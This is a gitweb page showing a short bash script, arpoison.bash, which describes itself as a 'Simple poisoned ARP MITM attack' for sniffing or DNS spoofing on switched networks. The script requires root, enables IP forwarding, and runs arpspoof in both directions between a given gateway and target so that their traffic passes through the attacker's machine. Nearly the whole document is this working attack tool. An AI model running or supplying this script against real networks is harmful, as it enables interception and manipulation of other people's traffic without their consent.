docs
[mirrors/Programs.git] / bash / arpoison.bash
1 echo Simple poisoned ARP MITM attack
2 echo Use this to sniff/dnsspoof in switched network
3
4 if [ $(whoami) != "root" ]; then
5 echo You have to be root \;P
6 exit;
7 fi;
8
9 if [ -z "$2" ]; then
10 echo Usage: $0 gateway target
11 exit;
12 fi;
13
14 echo "$1" \<---\> YOU \<---\> "$2"; echo;
15
16 cleanup() {
17 kill -2 $(jobs -p); > /dev/null 2>&1
18 kill -9 $(jobs -p); > /dev/null 2>&1
19 echo All background jobs stoped!
20 exit;
21 }
22
23 trap "cleanup" SIGINT;
24 echo 1 > /proc/sys/net/ipv4/ip_forward
25 # sysctl -w net.inet.ip.forwarding=1
26 arpspoof -t "$2" "$1" &
27 arpspoof -t "$1" "$2" &
28 while true; do sleep 100; done;
This page took 0.278549 seconds and 4 git commands to generate.